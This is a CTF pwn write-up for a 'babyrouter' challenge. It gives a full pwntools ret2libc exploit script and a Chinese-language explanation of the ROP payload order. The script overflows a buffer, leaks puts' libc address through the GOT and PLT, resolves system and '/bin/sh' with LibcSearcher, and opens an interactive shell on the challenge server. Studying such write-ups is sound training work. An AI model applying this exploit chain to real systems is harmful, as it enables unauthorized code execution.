pwn-ret2libc
babyrouter
from pwn import *
from LibcSearcher import *
context(os="linux",arch="amd64",log_level="debug")
r = remote("pwn.challenge.ctf.show", 28206)
#r = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("./libc6_2.40-3_amd64.so")
rdi = 0x400733
ret = 0x4004c9
got = elf.got["puts"]
plt = elf.plt["puts"]
main = elf.sym["main"]
print("main=",main)
payload = b'a'*(0x20+8) + p64(rdi) + p64(got) + p64(plt) + p64(main)
r.sendline(payload)
r.recvline()
r.recvline()
r.recvline()
put = u64(r.recvuntil(b'\x7f').ljust(8,b'\x00'))
#put = u64(r.recvline()[:-1].ljust(8,b"\x00"))
print("put_addr=",hex(put))
libc = LibcSearcher("puts",put)
libc_addr = put - libc.dump("puts")
sys = libc_addr + libc.dump("system")
sh = libc_addr + libc.dump("str_bin_sh")
payload2 = b'a'*(0x20+8) + p64(ret) +p64(rdi) + p64(sh) + p64(sys)
r.sendline(payload2)
r.interactive()
payload顺序解释:
- b'a'*(0x20+8)
作用:这部分用于填充缓冲区并覆盖返回地址。0x20 通常是程序中缓冲区的大小,当输入的数据超过这个缓冲区大小时,就会发生溢出。而后面的 8 字节是为了覆盖栈上原来的返回地址,这样程序在执行完当前函数返回时,就会跳转到我们指定的地址。
顺序原因:必须首先填充缓冲区,以确保后续的 ROP 链(Return Oriented Programming,返回导向编程链)能够正确地覆盖返回地址,从而控制程序的执行流程。 - p64(rdi)
作用:rdi 是一个 pop rdi; ret 的 Gadget 地址(在 x86 - 64 架构中,rdi 寄存器用于传递函数的第一个参数)。当程序执行到这个 Gadget 时,会将栈上紧接着的值弹出到 rdi 寄存器中。
顺序原因:要调用 puts 函数输出 puts 函数的 GOT(Global Offset Table,全局偏移表)表项地址,就需要先将这个地址放入 rdi 寄存器作为参数。所以这个 Gadget 要放在前面,为后续传递参数做准备。 - p64(got)
作用:got 是 puts 函数的 GOT 表项地址。通过将这个地址放入 rdi 寄存器,puts 函数就会输出这个地址处存储的实际 puts 函数的加载地址,从而实现地址泄露。
顺序原因:紧跟在 p64(rdi) 之后,这样 pop rdi; ret Gadget 就能将其弹出到 rdi 寄存器中,作为 puts 函数的参数。 - p64(plt)
作用:plt 是 puts 函数的 PLT(Procedure Linkage Table,过程链接表)表项地址。调用 puts 函数的 PLT 表项会间接调用实际的 puts 函数,从而输出 rdi 寄存器中存储的地址处的值。
顺序原因:在参数传递完成后,需要调用 puts 函数来输出地址,所以 puts 函数的 PLT 表项地址要放在参数之后。 - p64(main)
作用:main 是程序的 main 函数地址。在调用 puts 函数输出地址后,让程序重新回到 main 函数执行,这样就可以再次触发漏洞,为后续构造调用 system("/bin/sh") 的 payload 创造条件。
顺序原因:放在最后,确保 puts 函数执行完毕后,程序能够返回到 main 函数,等待下一次输入。
综上所述,payload 的顺序是根据函数调用的参数传递机制、ROP 链的执行逻辑以及利用漏洞的步骤精心安排的,以实现地址泄露和后续的漏洞利用。